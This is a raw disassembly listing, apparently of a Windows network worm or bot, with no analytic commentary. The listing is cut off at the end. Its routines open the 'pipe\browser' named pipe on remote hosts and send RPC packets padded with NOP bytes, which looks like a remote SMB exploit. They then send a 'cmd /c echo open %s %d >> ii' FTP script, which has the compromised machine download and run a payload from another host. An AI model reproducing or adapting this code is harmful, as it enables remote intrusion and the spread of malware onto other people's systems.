jz short loc_40D665 mov [esi+8], edx mov [ecx], dl jmp short loc_40D665 ; --------------------------------------------------------------------------- loc_40D682: ; CODE XREF: sub_40D62E+3Dj cmp [esp+8+arg_4], dl jz short loc_40D69F mov eax, [esi+0Ch] cmp eax, 1Fh ja short loc_40D694 cmp eax, edi jnb short loc_40D6AC loc_40D694: ; CODE XREF: sub_40D62E+60j push 1 mov ecx, esi call sub_40D6B3 jmp short loc_40D6A4 ; --------------------------------------------------------------------------- loc_40D69F: ; CODE XREF: sub_40D62E+58j cmp [esi+0Ch], edi jnb short loc_40D6AC loc_40D6A4: ; CODE XREF: sub_40D62E+28j ; sub_40D62E+6Fj push edi mov ecx, esi call sub_40D78B loc_40D6AC: ; CODE XREF: sub_40D62E+64j ; sub_40D62E+74j mov al, 1 loc_40D6AE: ; CODE XREF: sub_40D62E+39j pop edi pop esi retn 8 sub_40D62E endp ; =============== S U B R O U T I N E ======================================= sub_40D6B3 proc near ; CODE XREF: sub_40D07C+1Fp ; sub_40D07C+16Ap ... arg_0 = byte ptr 4 cmp [esp+arg_0], 0 push esi mov esi, ecx jz short loc_40D6DF mov eax, [esi+4] test eax, eax jz short loc_40D6DF lea ecx, [eax-1] mov al, [eax-1] test al, al jz short loc_40D6D8 cmp al, 0FFh jz short loc_40D6D8 dec al mov [ecx], al jmp short loc_40D6DF ; --------------------------------------------------------------------------- loc_40D6D8: ; CODE XREF: sub_40D6B3+19j ; sub_40D6B3+1Dj push ecx call sub_41CC83 pop ecx loc_40D6DF: ; CODE XREF: sub_40D6B3+8j ; sub_40D6B3+Fj ... and dword ptr [esi+4], 0 and dword ptr [esi+8], 0 and dword ptr [esi+0Ch], 0 pop esi retn 4 sub_40D6B3 endp ; =============== S U B R O U T I N E ======================================= sub_40D6EF proc near ; CODE XREF: .packed:0040D40Fp ; sub_40D848+28p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi mov edi, [esp+8+arg_4] push 1 mov esi, ecx push edi call sub_40D62E test al, al jz short loc_40D71D push edi push [esp+0Ch+arg_0] push dword ptr [esi+4] call sub_41C310 mov eax, [esi+4] add esp, 0Ch mov [esi+8], edi and byte ptr [eax+edi], 0 loc_40D71D: ; CODE XREF: sub_40D6EF+12j mov eax, esi pop edi pop esi retn 8 sub_40D6EF endp ; =============== S U B R O U T I N E ======================================= sub_40D724 proc near ; CODE XREF: sub_40D560+39p ; sub_40D560+45p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi mov esi, [esp+8+arg_0] push edi mov edi, ecx cmp [edi+8], esi jnb short loc_40D737 call sub_426573 loc_40D737: ; CODE XREF: sub_40D724+Cj mov ecx, edi call sub_40D848 mov eax, [edi+8] mov ebx, [esp+0Ch+arg_4] sub eax, esi cmp eax, ebx jnb short loc_40D74D mov ebx, eax loc_40D74D: ; CODE XREF: sub_40D724+25j test ebx, ebx jbe short loc_40D783 mov ecx, [edi+4] sub eax, ebx add ecx, esi push eax lea eax, [ecx+ebx] push eax push ecx call sub_41CC90 mov esi, [edi+8] add esp, 0Ch sub esi, ebx mov ecx, edi push 0 push esi call sub_40D62E test al, al jz short loc_40D783 mov eax, [edi+4] mov [edi+8], esi and byte ptr [esi+eax], 0 loc_40D783: ; CODE XREF: sub_40D724+2Bj ; sub_40D724+53j mov eax, edi pop edi pop esi pop ebx retn 8 sub_40D724 endp ; =============== S U B R O U T I N E ======================================= sub_40D78B proc near ; CODE XREF: sub_40D62E+79p mov eax, offset loc_426E20 call sub_41CC64 sub esp, 0Ch push ebx push esi push edi mov edi, [ebp+8] or edi, 1Fh mov esi, ecx cmp edi, 0FFFFFFFDh mov [ebp-10h], esp mov [ebp-14h], esi jbe short loc_40D7B1 mov edi, [ebp+8] loc_40D7B1: ; CODE XREF: sub_40D78B+21j and dword ptr [ebp-4], 0 lea eax, [edi+2] test eax, eax jge short loc_40D7BE xor eax, eax loc_40D7BE: ; CODE XREF: sub_40D78B+2Fj push eax call sub_41CFC5 pop ecx mov [ebp+8], eax jmp short loc_40D7EF ; --------------------------------------------------------------------------- mov eax, [ebp+8] mov [ebp-18h], eax add eax, 2 test eax, eax jge short loc_40D7D9 xor eax, eax loc_40D7D9: ; CODE XREF: sub_40D78B+4Aj push eax call sub_41CFC5 mov [ebp+8], eax pop ecx mov eax, offset loc_40D7E9 retn ; --------------------------------------------------------------------------- loc_40D7E9: ; DATA XREF: sub_40D78B+58o mov esi, [ebp-14h] mov edi, [ebp-18h] loc_40D7EF: ; CODE XREF: sub_40D78B+3Dj mov eax, [esi+8] test eax, eax jbe short loc_40D80D cmp eax, edi jbe short loc_40D7FC mov eax, edi loc_40D7FC: ; CODE XREF: sub_40D78B+6Dj push eax mov eax, [ebp+8] push dword ptr [esi+4] inc eax push eax call sub_41C310 add esp, 0Ch loc_40D80D: ; CODE XREF: sub_40D78B+69j mov ebx, [esi+8] push 1 mov ecx, esi call sub_40D6B3 mov eax, [ebp+8] inc eax mov [esi+4], eax and byte ptr [eax-1], 0 cmp ebx, edi mov [esi+0Ch], edi ja short loc_40D82D mov edi, ebx loc_40D82D: ; CODE XREF: sub_40D78B+9Ej mov eax, [esi+4] mov ecx, [ebp-0Ch] mov [esi+8], edi and byte ptr [eax+edi], 0 pop edi pop esi mov large fs:0, ecx pop ebx leave retn 4 sub_40D78B endp ; =============== S U B R O U T I N E ======================================= sub_40D848 proc near ; CODE XREF: sub_40D724+15p push esi push edi mov edi, ecx mov esi, [edi+4] test esi, esi jz short loc_40D875 mov al, [esi-1] test al, al jz short loc_40D875 cmp al, 0FFh jz short loc_40D875 push 1 call sub_40D6B3 push esi call sub_41AFE0 pop ecx push eax push esi mov ecx, edi call sub_40D6EF loc_40D875: ; CODE XREF: sub_40D848+9j ; sub_40D848+10j ... pop edi pop esi retn sub_40D848 endp ; =============== S U B R O U T I N E ======================================= sub_40D878 proc near ; DATA XREF: .packed:00429008o test byte_4DBC54, 1 jnz short loc_40D888 or byte_4DBC54, 1 loc_40D888: ; CODE XREF: sub_40D878+7j jmp $+5 push offset nullsub_1 call sub_41D040 pop ecx retn sub_40D878 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40D89A proc near ; DATA XREF: .packed:0042900Co jmp $+5 sub_40D89A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40D89F proc near mov eax, dword_432890 add eax, 6 mov dword_4CE354, eax retn sub_40D89F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D8AD proc near ; CODE XREF: sub_40D8AD+D0p ; sub_40D99B+471p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_7 = byte ptr 0Fh arg_C = word ptr 14h arg_14 = dword ptr 1Ch arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = byte ptr 30h arg_2B = byte ptr 33h push ebp mov ebp, esp push ecx push ecx cmp [ebp+arg_28], 0 push ebx push esi push edi jz short loc_40D8C1 or [ebp+arg_7], 1 jmp short loc_40D8C5 ; --------------------------------------------------------------------------- loc_40D8C1: ; CODE XREF: sub_40D8AD+Cj and [ebp+arg_7], 0FEh loc_40D8C5: ; CODE XREF: sub_40D8AD+12j mov ecx, [ebp+arg_24] mov ebx, [ebp+arg_20] movzx eax, cx lea edx, [ebx+18h] cmp edx, eax ja short loc_40D8E9 or [ebp+arg_7], 2 and [ebp+arg_2B], 0 lea eax, [ebx+18h] mov [ebp+arg_14], ebx mov [ebp+arg_C], ax jmp short loc_40D8FB ; --------------------------------------------------------------------------- loc_40D8E9: ; CODE XREF: sub_40D8AD+26j add eax, 0FFFFFFE8h and [ebp+arg_7], 0FDh mov [ebp+arg_C], cx mov [ebp+arg_14], eax mov [ebp+arg_2B], 1 loc_40D8FB: ; CODE XREF: sub_40D8AD+3Aj movzx eax, [ebp+arg_C] push eax mov [ebp+var_4], eax call sub_41B4D5 test eax, eax pop ecx mov [ebp+arg_20], eax jz loc_40D994 push 6 lea esi, [ebp+arg_4] pop ecx mov edi, eax rep movsd mov edi, [ebp+arg_14] mov esi, [ebp+arg_1C] push edi add eax, 18h push esi push eax call sub_41C310 add esp, 0Ch lea eax, [ebp+var_8] push 0 push eax push [ebp+var_4] push [ebp+arg_20] push [ebp+arg_0] call dword_4270E0 ; WriteFile test eax, eax jz short loc_40D98B mov eax, [ebp+var_4] cmp [ebp+var_8], eax jnz short loc_40D98B push [ebp+arg_20] call sub_41B0B1 cmp [ebp+arg_2B], 0 pop ecx jz short loc_40D987 push 0 sub ebx, edi push [ebp+arg_24] add edi, esi lea esi, [ebp+arg_4] push ebx push edi sub esp, 18h push 6 pop ecx mov edi, esp push [ebp+arg_0] rep movsd call sub_40D8AD add esp, 2Ch jmp short loc_40D996 ; --------------------------------------------------------------------------- loc_40D987: ; CODE XREF: sub_40D8AD+B3j mov al, 1 jmp short loc_40D996 ; --------------------------------------------------------------------------- loc_40D98B: ; CODE XREF: sub_40D8AD+9Cj ; sub_40D8AD+A4j push [ebp+arg_20] call sub_41B0B1 pop ecx loc_40D994: ; CODE XREF: sub_40D8AD+61j xor al, al loc_40D996: ; CODE XREF: sub_40D8AD+D8j ; sub_40D8AD+DCj pop edi pop esi pop ebx leave retn sub_40D8AD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D99B proc near ; CODE XREF: .packed:0040DF99p var_60DC = byte ptr -60DCh var_40DC = byte ptr -40DCh var_20DC = byte ptr -20DCh var_DC = byte ptr -0DCh var_C8 = dword ptr -0C8h var_BC = byte ptr -0BCh var_B8 = byte ptr -0B8h var_B7 = byte ptr -0B7h var_B6 = byte ptr -0B6h var_B5 = byte ptr -0B5h var_B4 = dword ptr -0B4h var_B0 = word ptr -0B0h var_AE = word ptr -0AEh var_AC = dword ptr -0ACh var_A8 = word ptr -0A8h var_A6 = word ptr -0A6h var_A4 = dword ptr -0A4h var_A0 = dword ptr -0A0h var_9C = word ptr -9Ch var_9A = byte ptr -9Ah var_98 = byte ptr -98h var_88 = dword ptr -88h var_84 = byte ptr -84h var_74 = dword ptr -74h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = word ptr -60h var_5C = byte ptr -5Ch var_4C = dword ptr -4Ch var_48 = byte ptr -48h var_47 = byte ptr -47h var_46 = byte ptr -46h var_45 = byte ptr -45h var_44 = dword ptr -44h var_3E = word ptr -3Eh var_3C = dword ptr -3Ch var_34 = word ptr -34h var_32 = word ptr -32h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = byte ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = byte ptr -14h var_10 = qword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 60DCh call sub_41BB20 push ebx push esi push edi push offset a_ ; "." push [ebp+arg_0] call sub_41D160 pop ecx xor ebx, ebx test eax, eax pop ecx jz short loc_40DA0E push [ebp+arg_0] mov esi, 2000h lea eax, [ebp+var_20DC] push offset aSIpc ; "\\\\%s\\ipc$" push esi push eax call sub_41B980 push 20h lea eax, [ebp+var_DC] push ebx push eax call sub_41B590 lea eax, [ebp+var_20DC] add esp, 1Ch mov [ebp+var_C8], eax mov eax, offset byte_43D7E8 push ebx push eax push eax lea eax, [ebp+var_DC] push eax call sub_426750 jmp short loc_40DA13 ; --------------------------------------------------------------------------- loc_40DA0E: ; CODE XREF: sub_40D99B+23j mov esi, 2000h loc_40DA13: ; CODE XREF: sub_40D99B+71j push [ebp+arg_0] lea eax, [ebp+var_40DC] push offset aSPipeBrowser ; "\\\\%s\\pipe\\browser" push esi push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_40DC] push ebx push 40000000h push 3 push ebx push 3 push 0C0000000h push eax call dword_4270EC ; CreateFileA cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jnz short loc_40DA57 loc_40DA50: ; CODE XREF: sub_40D99B+194j ; sub_40D99B+36Aj ... xor al, al jmp loc_40DE9B ; --------------------------------------------------------------------------- loc_40DA57: ; CODE XREF: sub_40D99B+B3j push 48h lea eax, [ebp+var_B8] push ebx push eax call sub_41B590 push 10h mov [ebp+var_B8], 5 pop eax mov [ebp+var_B7], bl push 1 mov [ebp+var_B4], eax pop edi mov [ebp+var_B6], 0Bh push eax lea eax, [ebp+var_98] push offset dword_4328E4 push eax mov [ebp+var_B5], 3 mov [ebp+var_B0], 48h mov [ebp+var_AE], bx mov [ebp+var_AC], ebx mov [ebp+var_A8], 10B8h mov [ebp+var_A6], 10B8h mov [ebp+var_A4], ebx mov [ebp+var_A0], edi mov [ebp+var_9C], bx mov [ebp+var_9A], 1 call sub_41C310 push 10h lea eax, [ebp+var_84] push offset dword_4328D0 push eax mov [ebp+var_88], 3 call sub_41C310 add esp, 24h lea eax, [ebp+var_BC] mov [ebp+var_74], 2 push ebx push eax lea eax, [ebp+var_B8] push 48h push eax push [ebp+var_4] call dword_4270E0 ; WriteFile test eax, eax jnz short loc_40DB34 loc_40DB26: ; CODE XREF: sub_40D99B+265j push [ebp+var_4] call dword_427068 ; CloseHandle jmp loc_40DA50 ; --------------------------------------------------------------------------- loc_40DB34: ; CODE XREF: sub_40D99B+189j lea eax, [ebp+var_14] push ebx push eax lea eax, [ebp+var_60DC] push esi push eax push [ebp+var_4] call dword_4270E8 ; ReadFile push ebx call sub_41D081 push eax call sub_41B8D8 push 14h lea eax, [ebp+var_70] push 41h push eax call sub_41B590 push 1Ch lea eax, [ebp+var_30] push 41h push eax call sub_41B590 add esp, 20h call sub_41B8E2 mov esi, [ebp+arg_4] mov [ebp+var_70], eax mov [ebp+var_64], edi mov [ebp+var_68], ebx lea esi, [esi+esi*4] mov [ebp+var_6C], edi shl esi, 2 mov [ebp+var_60], bx cmp byte_432878[esi], bl jz short loc_40DBAB push 4 mov [ebp+var_24], edi mov [ebp+var_28], ebx mov [ebp+var_2C], edi push offset dword_4CE35C jmp short loc_40DBBE ; --------------------------------------------------------------------------- loc_40DBAB: ; CODE XREF: sub_40D99B+1FCj push 2 mov [ebp+var_28], ebx pop eax push 4 mov [ebp+var_24], eax mov [ebp+var_2C], eax push (offset loc_4328C7+1) loc_40DBBE: ; CODE XREF: sub_40D99B+20Ej lea eax, [ebp+var_20] push eax call sub_41C310 add esp, 0Ch call sub_41B8E2 mov edi, 0FAh cdq mov ecx, edi idiv ecx inc edx mov [ebp+var_30], edx call sub_41B8E2 cdq idiv edi mov eax, dword_43286C[esi] mov [ebp+var_18], ebx push eax mov [ebp+arg_0], eax inc edx mov [ebp+var_1C], edx call sub_41B4D5 mov edi, eax pop ecx cmp edi, ebx jz loc_40DB26 mov eax, [ebp+arg_0] add eax, 0FFFFFFFEh push eax push 90h push edi call sub_41B590 mov eax, [ebp+arg_0] push 2 push ebx lea eax, [edi+eax-2] push eax call sub_41B590 mov eax, dword_432874[esi] push 7 add eax, edi push offset dword_432860 push eax mov [ebp+arg_4], eax call sub_41C310 mov eax, [ebp+arg_4] push 15Ch add eax, 7 push offset dword_432700 push eax call sub_41C310 mov eax, dword_432870[esi] add esp, 30h cmp byte_432878[esi], bl mov [ebp+arg_4], eax jz short loc_40DCB7 push 4 add eax, edi push offset dword_4CE354 push eax call sub_41C310 add [ebp+arg_4], 0Ch mov esi, offset dword_432890 mov eax, [ebp+arg_4] push 4 add eax, edi push esi push eax call sub_41C310 mov eax, [ebp+arg_4] push 4 push esi lea eax, [eax+edi+24h] push eax mov [ebp+arg_4], eax call sub_41C310 mov eax, [ebp+arg_4] push 4 add eax, 0Ch push esi push eax call sub_41C310 add esp, 30h jmp short loc_40DCDF ; --------------------------------------------------------------------------- loc_40DCB7: ; CODE XREF: sub_40D99B+2CDj add eax, edi mov [ebp+var_8], 10h mov [ebp+arg_4], eax mov esi, offset dword_432890 loc_40DCC8: ; CODE XREF: sub_40D99B+342j push 4 push esi push [ebp+arg_4] call sub_41C310 add [ebp+arg_4], 4 add esp, 0Ch dec [ebp+var_8] jnz short loc_40DCC8 loc_40DCDF: ; CODE XREF: sub_40D99B+31Aj mov eax, [ebp+arg_0] add eax, 42h push eax call sub_41B4D5 mov esi, eax pop ecx cmp esi, ebx mov [ebp+var_8], esi jnz short loc_40DD0A push [ebp+var_4] call dword_427068 ; CloseHandle push edi call sub_41B0B1 pop ecx jmp loc_40DA50 ; --------------------------------------------------------------------------- loc_40DD0A: ; CODE XREF: sub_40D99B+358j mov eax, [ebp+arg_0] add eax, 42h push eax push ebx ; double push esi call sub_41B590 lea eax, [ebp+var_70] push 14h push eax push esi call sub_41C310 mov eax, [ebp+arg_0] mov dword ptr [ebp+var_10+4], ebx mov dword ptr [ebp+var_10], eax add esp, 10h fild [ebp+var_10] fmul flt_4276AC fstp [esp+0Ch+var_10+4] call sub_41C7BF call sub_41C798 push [ebp+arg_0] mov [esi+1Ch], eax mov [esi+18h], ebx mov eax, [esi+1Ch] mov [esi+14h], eax lea eax, [esi+20h] push edi push eax call sub_41C310 mov eax, [ebp+arg_0] add esp, 14h add eax, 20h test al, 3 mov [ebp+arg_4], eax jz short loc_40DD77 loc_40DD6F: ; CODE XREF: sub_40D99B+3D7j inc eax test al, 3 jnz short loc_40DD6F mov [ebp+arg_4], eax loc_40DD77: ; CODE XREF: sub_40D99B+3D2j lea ecx, [ebp+var_30] push 1Ch add eax, esi push ecx push eax call sub_41C310 add [ebp+arg_4], 1Ch push edi call sub_41B0B1 push 18h lea eax, [ebp+var_48] push ebx push eax call sub_41B590 push 14h lea eax, [ebp+var_5C] push ebx push eax mov [ebp+var_48], 5 mov [ebp+var_47], bl mov [ebp+var_46], bl mov [ebp+var_45], 3 mov [ebp+var_44], 10h mov [ebp+var_3E], bx mov [ebp+var_3C], ebx mov [ebp+var_34], bx mov [ebp+var_32], 1Fh call sub_41B590 add esp, 28h push ebx push ebx push 1 push ebx call dword_4270E4 ; CreateEventA mov [ebp+var_4C], eax mov byte ptr [ebp+arg_0+3], bl mov dword ptr [ebp+var_10+4], ebx loc_40DDE4: ; CODE XREF: sub_40D99B+4D3j cmp dword ptr [ebp+var_10+4], 2 jge loc_40DE79 push 1 push 10B8h push [ebp+arg_4] inc dword ptr [ebp+var_10+4] push esi lea esi, [ebp+var_48] sub esp, 18h push 6 pop ecx mov edi, esp push [ebp+var_4] rep movsd call sub_40D8AD add esp, 2Ch test al, al jz short loc_40DE76 cmp [ebp+var_4C], ebx jz short loc_40DE68 lea eax, [ebp+var_5C] push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_60DC] push 2000h push eax push [ebp+var_4] call dword_4270E8 ; ReadFile test eax, eax jnz short loc_40DE4F call dword_42708C ; RtlGetLastWin32Error cmp eax, 3E5h jnz loc_40DA50 loc_40DE4F: ; CODE XREF: sub_40D99B+4A1j push 3E8h push [ebp+var_4C] call dword_4270A0 ; WaitForSingleObject cmp eax, 102h jnz short loc_40DE68 mov byte ptr [ebp+arg_0+3], 1 loc_40DE68: ; CODE XREF: sub_40D99B+480j ; sub_40D99B+4C7j cmp byte ptr [ebp+arg_0+3], bl mov esi, [ebp+var_8] jz loc_40DDE4 jmp short loc_40DE79 ; --------------------------------------------------------------------------- loc_40DE76: ; CODE XREF: sub_40D99B+47Bj mov esi, [ebp+var_8] loc_40DE79: ; CODE XREF: sub_40D99B+44Dj ; sub_40D99B+4D9j push [ebp+var_4] mov edi, dword_427068 call edi ; CloseHandle push esi call sub_41B0B1 cmp [ebp+var_4C], ebx pop ecx jz short loc_40DE95 push [ebp+var_4C] call edi ; CloseHandle loc_40DE95: ; CODE XREF: sub_40D99B+4F3j cmp byte ptr [ebp+arg_0+3], bl setnz al loc_40DE9B: ; CODE XREF: sub_40D99B+B7j pop edi pop esi pop ebx leave retn sub_40D99B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DEA0 proc near ; CODE XREF: .packed:0040DFB7p var_5A0 = byte ptr -5A0h var_1A0 = byte ptr -1A0h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_BC = dword ptr 0C4h push ebp mov ebp, esp sub esp, 5A0h push ebx push esi push edi xor esi, esi push 10h lea eax, [ebp+var_10] push esi push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+arg_4] mov [ebp+var_10], 2 push eax call dword_42720C ; inet_addr push [ebp+arg_BC] mov [ebp+var_C], eax call dword_427210 ; htons push esi push 1 push 2 mov [ebp+var_E], ax call dword_427220 ; socket mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_40DF6E lea eax, [ebp+var_10] push 10h push eax push ebx call dword_427214 ; connect cmp eax, 0FFFFFFFFh jz short loc_40DF6E mov edi, 400h push esi mov esi, dword_427218 lea eax, [ebp+var_5A0] push edi push eax push ebx call esi ; recv mov eax, offset byte_429108 push eax push eax push dword_4CB370 push [ebp+arg_0] call sub_40AC0F pop ecx push eax push offset aCmdCEchoOpen_0 ; "cmd /c echo open %s %d >> ii &echo user"... lea eax, [ebp+var_1A0] push 190h push eax call sub_41B980 add esp, 1Ch lea eax, [ebp+var_1A0] push 0 push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_1A0] push eax push ebx call dword_427224 ; send cmp eax, 0FFFFFFFFh jnz short loc_40DF72 loc_40DF6E: ; CODE XREF: sub_40DEA0+50j ; sub_40DEA0+62j xor eax, eax jmp short loc_40DF89 ; --------------------------------------------------------------------------- loc_40DF72: ; CODE XREF: sub_40DEA0+CCj push 0 lea eax, [ebp+var_5A0] push edi push eax push ebx call esi ; recv push ebx call dword_42721C ; closesocket push 1 pop eax loc_40DF89: ; CODE XREF: sub_40DEA0+D0j pop edi pop esi pop ebx leave retn sub_40DEA0 endp ; --------------------------------------------------------------------------- push ebx push esi push edi xor ebx, ebx loc_40DF93: ; CODE XREF: .packed:0040DFD9j lea eax, [esp+14h] push ebx push eax call sub_40D99B pop ecx test al, al pop ecx jz short loc_40DFC6 push 65h lea esi, [esp+14h] sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_40DEA0 add esp, 0C0h test eax, eax jnz short loc_40DFDB loc_40DFC6: ; CODE XREF: .packed:0040DFA2j test ebx, ebx jnz short loc_40DFD5 push 7D0h call dword_427078 ; Sleep loc_40DFD5: ; CODE XREF: .packed:0040DFC8j inc ebx cmp ebx, 2 jb short loc_40DF93 loc_40DFDB: ; CODE XREF: .packed:0040DFC4j push 1 pop eax pop edi pop esi pop ebx retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DFE2 proc near ; CODE XREF: sub_40E0D0+91p var_5A0 = byte ptr -5A0h var_1A0 = byte ptr -1A0h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_BC = dword ptr 0C4h push ebp mov ebp, esp sub esp, 5A0h push ebx push esi push edi xor esi, esi push 10h lea eax, [ebp+var_10] push esi push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+arg_4] mov [ebp+var_10], 2 push eax call dword_42720C ; inet_addr push [ebp+arg_BC] mov [ebp+var_C], eax call dword_427210 ; htons push esi push 1 push 2 mov [ebp+var_E], ax call dword_427220 ; socket mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_40E0B0 lea eax, [ebp+var_10] push 10h push eax push ebx call dword_427214 ; connect cmp eax, 0FFFFFFFFh jz short loc_40E0B0 mov edi, 400h push esi mov esi, dword_427218 lea eax, [ebp+var_5A0] push edi push eax push ebx call esi ; recv mov eax, offset byte_429108 push eax push eax push dword_4CB370 push [ebp+arg_0] call sub_40AC0F pop ecx push eax push offset aCmdCEchoOpen_0 ; "cmd /c echo open %s %d >> ii &echo user"... lea eax, [ebp+var_1A0] push 190h push eax call sub_41B980 add esp, 1Ch lea eax, [ebp+var_1A0] push 0 push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_1A0] push eax push ebx call dword_427224 ; send cmp eax, 0FFFFFFFFh jnz short loc_40E0B4 loc_40E0B0: ; CODE XREF: sub_40DFE2+50j ; sub_40DFE2+62j xor eax, eax jmp short loc_40E0CB ; --------------------------------------------------------------------------- loc_40E0B4: ; CODE XREF: sub_40DFE2+CCj push 0 lea eax, [ebp+var_5A0] push edi push eax push ebx call esi ; recv push ebx call dword_42721C ; closesocket push 1 pop eax loc_40E0CB: ; CODE XREF: sub_40DFE2+D0j pop edi pop esi pop ebx leave retn sub_40DFE2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E0D0 proc near ; CODE XREF: sub_40C124+1EAp ; DATA XREF: .packed:off_431AD4o var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = byte ptr 8 arg_4 = byte ptr 0Ch arg_A0 = dword ptr 0A8h arg_A8 = dword ptr 0B0h push ebp mov ebp, esp sub esp, 10h push esi lea eax, [ebp+arg_4] push edi push eax mov [ebp+var_10], 2 call dword_4CB674 ; inet_addr push [ebp+arg_A0] mov [ebp+var_C], eax call dword_4CB634 ; htons push 6 push 1 push 2 mov [ebp+var_E], ax call dword_427220 ; socket mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_40E142 lea eax, [ebp+var_10] push 10h push eax push esi call dword_427214 ; connect cmp eax, 0FFFFFFFFh jnz short loc_40E123 push esi jmp short loc_40E13C ; --------------------------------------------------------------------------- loc_40E123: ; CODE XREF: sub_40E0D0+4Ej push 0 push 1213h push offset dword_43298C push esi call dword_427224 ; send cmp eax, 0FFFFFFFFh push esi jnz short loc_40E146 loc_40E13C: ; CODE XREF: sub_40E0D0+51j call dword_42721C ; closesocket loc_40E142: ; CODE XREF: sub_40E0D0+3Cj xor eax, eax jmp short loc_40E188 ; --------------------------------------------------------------------------- loc_40E146: ; CODE XREF: sub_40E0D0+6Aj call dword_42721C ; closesocket push 216Bh lea esi, [ebp+arg_0] sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_40DFE2 add esp, 0C0h test eax, eax jz short loc_40E185 mov eax, [ebp+arg_A8] shl eax, 6 inc dword_431AD8[eax] lea eax, dword_431AD8[eax] loc_40E185: ; CODE XREF: sub_40E0D0+9Ej push 1 pop eax loc_40E188: ; CODE XREF: sub_40E0D0+74j pop edi pop esi leave retn sub_40E0D0 endp ; =============== S U B R O U T I N E ======================================= sub_40E18C proc near ; CODE XREF: .packed:0040E27Ap ; .packed:0040E2DCp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi push edi mov edi, [esp+8+arg_8] xor esi, esi loc_40E194: ; CODE XREF: sub_40E18C+2Dj test edi, edi jle short loc_40E1BF mov eax, [esp+8+arg_4] push 0 add eax, esi push edi push eax push [esp+14h+arg_0] call dword_4CB64C ; recv test eax, eax jz short loc_40E1BB cmp eax, 0FFFFFFFFh jz short loc_40E1BB sub edi, eax add esi, eax jmp short loc_40E194 ; --------------------------------------------------------------------------- loc_40E1BB: ; CODE XREF: sub_40E18C+22j ; sub_40E18C+27j xor eax, eax jmp short loc_40E1C2 ; --------------------------------------------------------------------------- loc_40E1BF: ; CODE XREF: sub_40E18C+Aj push 1 pop eax loc_40E1C2: ; CODE XREF: sub_40E18C+31j pop edi pop esi retn sub_40E18C endp ; =============== S U B R O U T I N E ======================================= sub_40E1C5 proc near ; CODE XREF: .packed:0040E2C6p ; .packed:0040E2F3p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi push edi mov edi, [esp+8+arg_8] test edi, edi jz short loc_40E202 xor esi, esi test edi, edi jle short loc_40E1FC loc_40E1D5: ; CODE XREF: sub_40E1C5+35j mov eax, edi push 0 sub eax, esi push eax mov eax, [esp+10h+arg_4] add eax, esi push eax push [esp+14h+arg_0] call dword_4CB684 ; send cmp eax, 0FFFFFFFFh jz short loc_40E202 test eax, eax jz short loc_40E202 add esi, eax cmp esi, edi jl short loc_40E1D5 loc_40E1FC: ; CODE XREF: sub_40E1C5+Ej push 1 pop eax loc_40E1FF: ; CODE XREF: sub_40E1C5+3Fj pop edi pop esi retn ; --------------------------------------------------------------------------- loc_40E202: ; CODE XREF: sub_40E1C5+8j ; sub_40E1C5+2Bj ... xor eax, eax jmp short loc_40E1FF sub_40E1C5 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 24Ch push ebx mov ax, word_433BD0 push esi push edi push 0 push 1 push 2 mov [ebp-2], ax pop esi push esi call dword_4CB6B4 ; socket mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_40E234 push eax jmp short loc_40E268 ; --------------------------------------------------------------------------- loc_40E234: ; CODE XREF: .packed:0040E22Fj lea eax, [ebp+0Ch] push eax call dword_4CB674 ; inet_addr push dword ptr [ebp+0A8h] mov [ebp-48h], eax mov [ebp-4Ch], si call dword_4CB634 ; htons mov [ebp-4Ah], ax lea eax, [ebp-4Ch] push 10h push eax push ebx call dword_4CB5DC ; connect cmp eax, 0FFFFFFFFh jnz short loc_40E273 push ebx loc_40E268: ; CODE XREF: .packed:0040E232j call dword_4CB6CC ; closesocket jmp loc_40E46E ; --------------------------------------------------------------------------- loc_40E273: ; CODE XREF: .packed:0040E265j lea eax, [ebp-38h] push 0Ch push eax push ebx call sub_40E18C add esp, 0Ch test eax, eax jz loc_40E467 lea eax, [ebp-20h] and byte ptr [ebp-2Ch], 0 push eax lea eax, 